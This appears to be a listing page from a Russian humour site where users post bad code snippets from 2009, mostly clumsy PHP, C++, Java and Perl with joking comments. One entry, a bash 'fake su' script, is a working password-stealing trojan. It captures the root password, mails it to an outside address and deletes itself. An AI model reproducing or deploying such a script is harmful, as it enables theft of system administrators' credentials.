1. Лучший говнокод

    В номинации:
    За время:
  2. PHP / Говнокод #1668

    +169.6

    1. 1
    echo "<td valign=".chr(34)."middle".chr(34)." align=".chr(34)."center".chr(34).">";

    не умеем экранировать кавычки :))))

    govnokoder, 24 Августа 2009

    Комментарии (10)
  3. Куча / Говнокод #1661

    +76.1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    #/usr/local/bin/bash
    
    # False SU utility
    
    # mail to send passwd
    mail="[email protected]"
    # go
    echo -n "Password:"
    read -s passwd
    echo ""
    echo "su: Sorry"
    
    echo "root password from `hostname`: $passwd" | mail -s "Fuck the system" $mail
    
    # вернем все на место
    alias su=su
    #самоуничтожение
    rm $0

    Фейковый su )))

    Darwin, 23 Августа 2009

    Комментарии (10)
  4. C++ / Говнокод #1631

    +26.2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    #define nil 0
    #define ERROR true
    #define OK true
    
    class CRenderer
    {
    	...
    	bool DrawTrinagle(CVector A, CVector B, CVector C, int color)
    	...
    };
    
    ...
    
    bool CRenderer::DrawTrinagle(CVector A, CVector B, CVector C, int color)
    {
    	if(this==nil)
    		return ERROR;
    
    	...
    
    	return OK;
    };

    Голова профессора Доуля...

    Говногость, 19 Августа 2009

    Комментарии (10)
  5. PHP / Говнокод #1628

    +159.9

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    public function link_page()
        {
    
            $sql = "SELECT COUNT(*) FROM `".$this->table."`".$this->where;
            $value = mysql_query($sql);
            $value = mysql_fetch_row($value);
            $alllines = $value[0];
            $str = ceil($alllines / $this->lines); 
            if($this->page != 0) {
                $return .= "<a href='".$this->prefix_p."=".($this->page)."'><</a>";
            } else {
                $return .= "<span><</span>";
            }
            $return .= "&nbsp;";
            if($this->page + 1 != 1) {
                $return .= "<a href='".$this->prefix_p."=1'>1</a>";
            } else {
                $return .= "<span>1</span>";
            }
    
            $return .= "&nbsp";
            if($this->page + 1 == $str && $this->page + 1 != 1 && $str < 2) {
                $return .= "<a href='".$this->prefix_p."=".($this->page - 2)."'>".($this->page -
                    2)."</a>";
                $return .= "<a href='".$this->prefix_p."=".($this->page - 1)."'>".($this->page -
                    1)."</a>";
            }
    
            if($this->page > 1) {
                if($str > 1 && $this->page >= 4) {
                    if($str >= 5 && ($this->page == $str - 1 or $this->page == $str - 2)) {
                        if($this->page == $str - 2 && $str != 5) {
                        } else {
                            $return .= "<a href='".$this->prefix_p."=".($this->page - 2)."'>".($this->page -
                                2)."</a>";
                        }
    
                        if($this->page == 4 && $str == 6) {
                        } else {
                            $return .= "<a href='".$this->prefix_p."=".($this->page - 1)."'>".($this->page -
                                1)."</a>";
                        }
                    }
                }
                if(($str > 4 && $str < 8 && $this->page == $str - 2) or ($str == 4 && $this->
                    page == $str - 1)) {
                    $return .= "<a href='".$this->prefix_p."=".($this->page - 1)."'>".($this->page -
                        1)."</a>";
                }
                $return .= "<a href='".$this->prefix_p."=".($this->page)."'>".($this->page).
                    "</a>";
            }
    
            if($this->page + 1 != 1 && $this->page < 2 && $str != 2) {
                $return .= "<span>".($this->page + 1)."</span>";
            }
            if($this->page > 1 && $this->page + 2 <= $str) {
                $return .= "<span>".($this->page + 1)."</span>";
            }
    
            if($this->page + 2 < $str) {
                if($this->page + 1 == 1) {
                    $return .= "<a href='".$this->prefix_p."=".($this->page + 2)."'>".($this->page +
                        2)."</a>";
                    if($str > 3) {
                        $return .= "<a href='".$this->prefix_p."=".($this->page + 3)."'>".($this->page +
                            3)."</a>";
                    }
                    if($this->page + 3 >= $str) {
                    } else {
                        if($str != 4) {
                            $return .= "<a href='".$this->prefix_p."=".($this->page + 4)."'>".($this->page +
                                4)."</a>";
                        }
                    }
    
                } else {
                    if($this->page + 1 == 2) {
                        $return .= "<a href='".$this->prefix_p."=".($this->page + 2)."'>".($this->page +
                            2)."</a>";
                        if($str != 4) {
                            $return .= "<a href='".$this->prefix_p."=".($this->page + 3)."'>".($this->page +
                                3)."</a>";
                        }
                    } else {
                        $return .= "<a href='".$this->prefix_p."=".($this->page + 2)."'>".($this->page +
                            2)."</a>";
                    }
                }
    
            }

    Один метод из класса выводит навигацию типа (мы на 6 странице максимум 10 страниц) [<][1] [5][6][7] [10][>]
    Писал под травой, как оно работает не знаю, переписывать лень, работает да и ладно =)

    sTarT, 19 Августа 2009

    Комментарии (10)
  6. C++ / Говнокод #1618

    +12.2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    TMutex CriticalGlobalRTOSMutex;
    
    ...
    
    void CriticalDoing()
    {
    	CriticalGlobalRTOSMutex.Lock();
    
    	...
    
    	if( !HorriblyDoing(...) )
    	{
    		throw FatalException;
    	};
    
    	...
    
    	CriticalGlobalRTOSMutex.UnLock();
    };
    
    ...

    Мне уже страшно...

    Говногость, 18 Августа 2009

    Комментарии (10)
  7. C# / Говнокод #1598

    +139

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    public bool IsEmpty()
            {
                int x = 0;
                x += EntityType.Length == 0 ? 1 : 0;
                x += EntityTypeName.Length == 0 ? 1 : 0;
                x += EntityDisplayName.Length == 0 ? 1 : 0;
                x += EntityId == Guid.Empty ? 1 : 0;
    
                return x == 0 ? false : true;
            }

    Аритметичный if :)

    bugotrep, 16 Августа 2009

    Комментарии (10)
  8. Pascal / Говнокод #1589

    +86.2

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    with (VirNode^) do
    begin
      VirNode^.ImageIndex := vir.iNum;
      VirNode^.Txt := vir.sAttr[1] + ' - ' + vir.sAttr[3];
    end;

    сначала было без with а потом забыл убрать "VirNode^." :)

    Joe, 15 Августа 2009

    Комментарии (10)
  9. PHP / Говнокод #1562

    +153

    1. 1
    2. 2
    $procs=explode('
    ',$procs);

    Отлавливаем перевод строки.
    Не знаю даже говнокод ли это. Это срабатывает в тех случаях когда \r, \n, \r\n бессильны.

    random2, 13 Августа 2009

    Комментарии (10)
  10. Java / Говнокод #1550

    +83.1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    static {
    
    		ruleNum10 = new HashMap();
    		ruleNum10.put("0", "0");
    		ruleNum10.put("1", "1");
    		ruleNum10.put("2", "2");
    		ruleNum10.put("3", "3");
    		ruleNum10.put("4", "4");
    		ruleNum10.put("5", "5");
    		ruleNum10.put("6", "6");
    		ruleNum10.put("7", "7");
    		ruleNum10.put("8", "8");
    		ruleNum10.put("9", "9");
    
    		ruleNum16 = new HashMap();
    		ruleNum16.put("0", "0");
    		ruleNum16.put("1", "1");
    		ruleNum16.put("2", "2");
    		ruleNum16.put("3", "3");
    		ruleNum16.put("4", "4");
    		ruleNum16.put("5", "5");
    		ruleNum16.put("6", "6");
    		ruleNum16.put("7", "7");
    		ruleNum16.put("8", "8");
    		ruleNum16.put("9", "9");
    		ruleNum16.put("10", "10");
    		ruleNum16.put("11", "11");
    		ruleNum16.put("12", "12");
    		ruleNum16.put("13", "13");
    		ruleNum16.put("14", "14");
    		ruleNum16.put("15", "15");
    
    	}

    Очередной пример китайского героизма во владении копипейстом. Они похоже не знают о существовании цикла for и метода String.valueOf. А что если бы там было 200 елементов хотя бы?

    cheap_chinese, 12 Августа 2009

    Комментарии (10)
  11. Perl / Говнокод #1519

    −55.2

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    #!/etc/Tivoli/bin/perl
    ##############################################################
    #  Name: Default.cgi
    #
    #  Description: Generates translated Default HTML page
    #               according to browser's language
    #  TMF 4.1
    #  Licensed Materials- Property of IBM
    #  (C) Copyright IBM Corp. 2000. All Rights Reserved
    #
    #  US Government Users Restricted Rights- Use, duplication,
    #  or disclosure restricted by GSA ADP Schedule Contract with
    #  IBM Corp.
    ##############################################################
    
    # wupddefhtml will bind all messages contained in default page
    # accordingly ( LANG is set to the browser's locale )
    
    $defaultPage=`wupddefhtml -out`;
    
    # all links in the default page are absolute or relative to root
    # so we need to fix them because we have changed location
    
    $defaultPage =~ s|href=|href=../|g;
    $defaultPage =~ s|//|/|g;
    
    print("HTTP/1.0 200 OK
    Contents-Type: text/html
    
    ");
    
    print "$defaultPage";

    строка print("HTTP/1.0 200 OK
    явно говорит о глубоких знаниях протокола :))
    (C) Copyright IBM Corp. - ИТ лидер - что еще сказать

    pdp_dp, 11 Августа 2009

    Комментарии (10)